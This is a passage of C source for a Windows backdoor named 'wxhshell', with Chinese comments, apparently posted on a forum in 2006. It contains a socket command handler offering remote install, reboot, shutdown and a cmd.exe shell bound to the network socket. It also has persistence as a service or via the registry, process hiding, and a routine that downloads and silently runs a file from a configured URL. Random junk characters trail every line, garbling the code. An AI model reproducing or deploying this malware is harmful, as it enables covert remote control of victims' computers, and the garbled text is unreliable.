]-rczl|o  
    switch(cmd[0]) { EFNdiv$wF  
  wLSjXpP8  
  // 帮助 A?sNXhh  
  case '?': { g\j>qUjs%Q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g1dmkX  
    break; ZpTi:3>  
  } 3Pa3f >}-  
  // 安装 a[JZ5D  
  case 'i': { 5~-}}F  
    if(Install()) Yoe les-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nO:HB.&@  
    else CH#kvR2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]nHe$x!2]  
    break; e mC\i  
    } m^Rd Iy)  
  // 卸载 6BHPzv+Y  
  case 'r': { A'b<?)Y7_  
    if(Uninstall()) |WUA1g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M3PVixli3  
    else }kv)IJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l]/> `62  
    break; 7j95"mI  
    } : (RL8  
  // 显示 wxhshell 所在路径 s|KfC>#  
  case 'p': { D~7%};D[  
    char svExeFile[MAX_PATH]; ;\q<zO@x  
    strcpy(svExeFile,"\n\r"); ew/KZE  
      strcat(svExeFile,ExeFile); @u<0_r t  
        send(wsh,svExeFile,strlen(svExeFile),0); zo87^y5?G  
    break; .0KOnLdK  
    } I(y`)$}  
  // 重启 UzN8G$92qF  
  case 'b': { ?Ip$;s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0rGj|@+;  
    if(Boot(REBOOT)) yCZ2^P!a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kdC1,E  
    else { ]&/0  
    closesocket(wsh); 0yKwH\S  
    ExitThread(0); fg< ( bXC  
    } +-'`Q Ae  
    break; !HbqbS22  
    } 37,L**Dgs  
  // 关机 C!`>cUhE{  
  case 'd': { /;[}=JL<Q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }q/(D?  
    if(Boot(SHUTDOWN)) pEJ#ad  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `g2&{)3k  
    else { 6{lG1\o  
    closesocket(wsh); '=-s1c@^  
    ExitThread(0);  %L{  
    } ]kzv8#  
    break; hw7~i  
    } t.gq5Y.[  
  // 获取shell (xjqB{U  
  case 's': { 6MrZ6dz^  
    CmdShell(wsh); p`pg5R  
    closesocket(wsh); M P_A<F  
    ExitThread(0); |2[S/8g!  
    break; HIQ]"Hl  
  } Q>##hG:m  
  // 退出 5+J 64_  
  case 'x': { t*5z1T?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {/th`#o4b  
    CloseIt(wsh); (X0`1s  
    break; $(Z]TS$M&  
    } |;X?">7NW  
  // 离开 N:"M&E UM  
  case 'q': { 7AS.)Q#=x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Smi%dp.  
    closesocket(wsh); EKV+?jj$  
    WSACleanup(); ^cfkP(Y3kx  
    exit(1); z (c@(UD-_  
    break; tCd{G c  
        } 5@GD} oAn6  
  } 3w[<cq.!  
  } ~%D^ Ga7  
jdV .{8@  
  // 提示信息 CM+F7#T?n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nNd`]F^U  
} jsK|D{m?  
  } c,+L +  
6~:W(E}  
  return; tn(?nQN3  
} T b5$  
tjBh$)  
// shell模块句柄 ,eZ;8W{G  
int CmdShell(SOCKET sock) m~Kch~~]  
{ hr )+Pk  
STARTUPINFO si; BG(R=, 7  
ZeroMemory(&si,sizeof(si)); U)O?| VN^o  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gp?ToS2^d  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8@9hU`H8l  
PROCESS_INFORMATION ProcessInfo; 6R$ F =MB  
char cmdline[]="cmd"; 7.w *+Z>z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *u:;:W&5y  
  return 0; ;:#?~%7>  
} aYv'H  
UE}8Rkt  
// 自身启动模式 J dk3) \  
int StartFromService(void) bIvJs9L  
{ ]Ct`4pA  
typedef struct = ]dz1~/  
{ F[o+p|nF  
  DWORD ExitStatus; se^NQ=  
  DWORD PebBaseAddress; 1NE!=;VOl  
  DWORD AffinityMask; 7eaA]y~H  
  DWORD BasePriority; sw3:HNG=  
  ULONG UniqueProcessId; j]@ x Q,y  
  ULONG InheritedFromUniqueProcessId; /8P4%[\  
}   PROCESS_BASIC_INFORMATION; WI*^+E&=*  
P3,Z5|)  
PROCNTQSIP NtQueryInformationProcess; X~IRpzC  
Q2_WH)J 3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e]dPF[?7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Cg]3(3   
m11"i=S"  
  HANDLE             hProcess; k"3Z@Px:  
  PROCESS_BASIC_INFORMATION pbi; )V9Mcr*Ce6  
l`~a}y"n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z>>gXh<e[  
  if(NULL == hInst ) return 0; XudH  
FOlA* U4U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yi AG'[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Rl0%!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O]$*EiO\  
*<|~=*Ddf  
  if (!NtQueryInformationProcess) return 0; ^cKv JSY  
rC1qGzg\a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); kb>Vw<NtE  
  if(!hProcess) return 0; :uU]rBMo  
<ZHY3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lzr>WbM{{p  
:$GL.n-?  
  CloseHandle(hProcess); mCC:}n"#  
"2vNkO##  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =hOj8;2  
if(hProcess==NULL) return 0; A/Fs?m{7U  
yPzULO4  
HMODULE hMod; &dwI8@&  
char procName[255]; ~q'w),bE"Q  
unsigned long cbNeeded; t9$AvE#a!=  
]sm0E@1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *1ID`o  
U l7pxzj  
  CloseHandle(hProcess); @> +^<  
?}1JL6mF{  
if(strstr(procName,"services")) return 1; // 以服务启动 P&-D0T_  
@]y{M;  
  return 0; // 注册表启动 8IT_mjj  
} NXWIE4T>*^  
QvK]<HEr  
// 主模块 DS[l,x  
int StartWxhshell(LPSTR lpCmdLine) WW8YB"  
{ 6/V{>MTZg  
  SOCKET wsl; bz}AO))Hk  
BOOL val=TRUE; xRTg [  
  int port=0; w7`@=kVx  
  struct sockaddr_in door; p)[ BB6E  
"$,}|T?Y`  
  if(wscfg.ws_autoins) Install(); NBbY## w0  
*+,Lc1|\  
port=atoi(lpCmdLine); SCI-jf3WN  
56O<CgJF<  
if(port<=0) port=wscfg.ws_port; X"qbB4 (I  
6%tiB?  
  WSADATA data; UtGd/\:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n/-p;#R  
2Xj-A\Oh~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v @I^:I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q=E}#[EgY  
  door.sin_family = AF_INET; <=y5 8O]x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z>MJ0J76]  
  door.sin_port = htons(port); t UAY]BJ*s  
(8m\#[T+R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %unK8z  
closesocket(wsl); K9z_=c+  
return 1; r/s&ee  
} |V~(mS747:  
1 Q0Yer  
  if(listen(wsl,2) == INVALID_SOCKET) { Ygkd~g  
closesocket(wsl); >{LJ#Dc6  
return 1; m|?" k38  
} 5@%=LPV  
  Wxhshell(wsl); "|l oSf@  
  WSACleanup(); ).O2_<&?F  
wJ]$'c3  
return 0; %.atWX`b  
-~Z@,  
} 9T0wdK]  
!i"9f_  
// 以NT服务方式启动 dC;d>j,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >`,#%MH#  
{ )>#<S0>'j  
DWORD   status = 0; RAx]Sp Q-S  
  DWORD   specificError = 0xfffffff; r^o}Y  
H @&"M%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \<MTY:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ][$$  =  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yn ?U7`V  
  serviceStatus.dwWin32ExitCode     = 0; ywsz"/=@  
  serviceStatus.dwServiceSpecificExitCode = 0; Lw2YP[CR  
  serviceStatus.dwCheckPoint       = 0; E/ed0'|m  
  serviceStatus.dwWaitHint       = 0; XGrxzO|{  
3 z/O`z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?'$. -z:  
  if (hServiceStatusHandle==0) return; fY+ .#V  
px(1Ppb9  
status = GetLastError(); |#k hwH  
  if (status!=NO_ERROR) Nno={i1jk  
{ ~pBxFA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /RULPd PH  
    serviceStatus.dwCheckPoint       = 0; k^%TJ.y@  
    serviceStatus.dwWaitHint       = 0; aid)q&AcQ  
    serviceStatus.dwWin32ExitCode     = status; G}hkr  
    serviceStatus.dwServiceSpecificExitCode = specificError; @ :   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); C` 1\$U~%  
    return; c,s<q j  
  } :-'ri Ry  
LM`tNZ1Fc!  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; cF<DUr)Ve  
  serviceStatus.dwCheckPoint       = 0; xyJgHbml  
  serviceStatus.dwWaitHint       = 0; <wGT s6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); []fj~hj  
} W!9f'Yn  
RV@(&eM  
// 处理NT服务事件,比如:启动、停止 ABYW1K=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1MzB?[gx  
{ eEds-&_  
switch(fdwControl) U>M>FZ  
{ -3XnK5  
case SERVICE_CONTROL_STOP: nh.v?|  
  serviceStatus.dwWin32ExitCode = 0; c$Nl-?W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nOoh2jUM  
  serviceStatus.dwCheckPoint   = 0; E=U^T/  
  serviceStatus.dwWaitHint     = 0; AxqTPx7`|  
  { %KVRiX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PT*@#:MA  
  } +z/73s0~  
  return; rN!9&  
case SERVICE_CONTROL_PAUSE: lV*&^Q8.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _f2iz4  
  break; 1~iBzPU2  
case SERVICE_CONTROL_CONTINUE: Q^5 t]HKn  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xx2:5  
  break; _xwfz]lb+  
case SERVICE_CONTROL_INTERROGATE: <qj@waKw4  
  break; HQ#L |LN  
}; ha'm`LiX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tp3N5I  
} (YH{%8 Z0  
# 2t\>7]  
// 标准应用程序主函数 V\lF:3C  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mp$II?hZ*  
{ Rn ^N+3o'M  
Mh B=+S[@  
// 获取操作系统版本 ?=o]Wx0(9  
OsIsNt=GetOsVer(); -Y,Ibq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w0>)y -  
[~H`9Ab=  
  // 从命令行安装 3mn-dKe((  
  if(strpbrk(lpCmdLine,"iI")) Install(); K?<Odw'k  
ov.rHVeI  
  // 下载执行文件 Yy;1N{dbT  
if(wscfg.ws_downexe) { Z`h_oK#y15  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 20xGj?M  
  WinExec(wscfg.ws_filenam,SW_HIDE); wx7>0[zE  
} KD<`-b)7<  
8pKPbi;(2  
if(!OsIsNt) { !LSWg:Ev+  
// 如果时win9x,隐藏进程并且设置为注册表启动 24k}~"We  
HideProc(); p+1B6j  
StartWxhshell(lpCmdLine); H0Xda.Y(  
} r,@|Snv)  
else t#Yh!L6>  
  if(StartFromService()) S^_yiV S  
  // 以服务方式启动 QLLV OJi  
  StartServiceCtrlDispatcher(DispatchTable); fO|u(e  
else j[ YTg]  
  // 普通方式启动 9_^V1+   
  StartWxhshell(lpCmdLine); ~$9"|  
6h"? 3w  
return 0; T[K?A+l  
}
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只看该作者 1 发表于: 2006-10-10
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